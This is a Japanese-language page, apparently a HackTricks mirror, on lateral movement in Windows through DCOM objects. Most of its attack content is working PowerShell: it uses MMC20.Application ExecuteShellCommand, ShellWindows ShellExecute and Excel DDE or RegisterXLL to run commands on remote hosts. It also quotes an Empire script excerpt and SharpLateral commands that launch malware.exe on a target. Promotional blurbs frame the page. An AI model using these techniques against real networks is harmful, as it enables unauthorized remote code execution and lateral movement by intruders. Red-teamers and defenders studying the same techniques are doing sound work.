11 KiB
DCOM Exec
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝してみたいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTsコレクションをご覧ください
- 公式PEASS&HackTricksスウェグを手に入れましょう
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitterで私をフォローしてください 🐦@carlospolopm。
- ハッキングテクニックを共有するために、hacktricksリポジトリ と hacktricks-cloudリポジトリ にPRを提出してください。
Try Hard Security Group
![](/Mirrors/hacktricks/media/commit/be3b673a987e0b23f889fdbdc1fd20e4a270e283/windows-hardening/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg)
{% embed url="https://discord.gg/tryhardsecurity" %}
MMC20.Application
このテクニックについての詳細は、https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/からオリジナルの投稿をご覧ください
分散コンポーネントオブジェクトモデル(DCOM)オブジェクトは、ネットワークベースのオブジェクトとのやり取りに興味深い機能を提供します。Microsoftは、DCOMとComponent Object Model(COM)の包括的なドキュメントを提供しており、DCOMの場合はこちら、COMの場合はこちらでアクセスできます。PowerShellコマンドを使用してDCOMアプリケーションのリストを取得できます:
Get-CimInstance Win32_DCOMApplication
COMオブジェクト、MMC Application Class (MMC20.Application)は、MMCスナップイン操作のスクリプト化を可能にします。特に、このオブジェクトには、Document.ActiveView
の下にExecuteShellCommand
メソッドが含まれています。このメソッドに関する詳細情報はこちらで確認できます。次のコマンドを実行して確認してください:
この機能は、DCOMアプリケーションを介してネットワーク上でコマンドを実行することを容易にします。管理者としてリモートでDCOMとやり取りするために、PowerShellを以下のように利用できます:
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
このコマンドはDCOMアプリケーションに接続し、COMオブジェクトのインスタンスを返します。その後、ExecuteShellCommandメソッドを呼び出してリモートホストでプロセスを実行できます。プロセスは以下の手順を含みます:
メソッドの確認:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
RCEを取得します。
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
# Then just run something like:
ls \\10.10.10.10\c$\Users
ShellWindows & ShellBrowserWindow
この技術についての詳細は、元の投稿を参照してください https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
MMC20.Application オブジェクトは、明示的な "LaunchPermissions" が不足していることが特定され、管理者がアクセスを許可する権限にデフォルトで設定されています。詳細については、こちらのスレッドを参照し、@tiraniddo の OleView .NET の使用を推奨します。明示的な Launch Permission がないオブジェクトをフィルタリングするために。
ShellBrowserWindow
と ShellWindows
という2つの特定のオブジェクトが、明示的な Launch Permissions が不足しているために強調されました。HKCR:\AppID\{guid}
の下に LaunchPermission
レジストリエントリが存在しない場合、明示的な権限がないことを示します。
ShellWindows
ShellWindows
には ProgID がないため、.NET メソッド Type.GetTypeFromCLSID
と Activator.CreateInstance
を使用して、その AppID を利用してオブジェクトのインスタンス化が可能です。このプロセスでは、OleView .NET を使用して ShellWindows
の CLSID を取得します。インスタンス化されると、WindowsShell.Item
メソッドを介して相互作用が可能となり、Document.Application.ShellExecute
のようなメソッドの呼び出しが行われます。
PowerShell の例として、オブジェクトのインスタンス化とリモートでコマンドを実行するコマンドが提供されました:
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
Excel DCOMオブジェクトを使用した横方向移動
DCOM Excelオブジェクトを悪用することで、横方向移動を実現することができます。詳細な情報については、CybereasonのブログでExcel DDEを介したDCOM経由の横方向移動に関する議論を読むことをお勧めします。
Empireプロジェクトは、Excelを使用してDCOMオブジェクトを操作することによるリモートコード実行(RCE)の実証を示すPowerShellスクリプトを提供しています。以下は、ExcelをRCEに悪用するためのさまざまな方法を示す、EmpireのGitHubリポジトリのスクリプトからのスニペットです:
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
レータルムーブメントのための自動化ツール
これらのテクニックを自動化するために2つのツールが強調されています:
-
Invoke-DCOM.ps1: Empireプロジェクトによって提供されたPowerShellスクリプトで、リモートマシンでコードを実行するためのさまざまなメソッドの呼び出しを簡素化します。このスクリプトはEmpire GitHubリポジトリでアクセスできます。
-
SharpLateral: コードをリモートで実行するために設計されたツールで、次のコマンドと共に使用できます:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
自動ツール
- PowershellスクリプトInvoke-DCOM.ps1は、他のマシンでコードを実行するためのすべてのコメント付き方法を簡単に呼び出すことができます。
- SharpLateralも使用できます:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
参考
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
Try Hard Security Group
![](/Mirrors/hacktricks/media/commit/be3b673a987e0b23f889fdbdc1fd20e4a270e283/windows-hardening/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg)
{% embed url="https://discord.gg/tryhardsecurity" %}
htARTE (HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスウォッグを入手する
- The PEASS Familyを発見し、独占的なNFTコレクションをご覧ください
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- HackTricksおよびHackTricks CloudのgithubリポジトリにPRを提出して、ハッキングトリックを共有してください。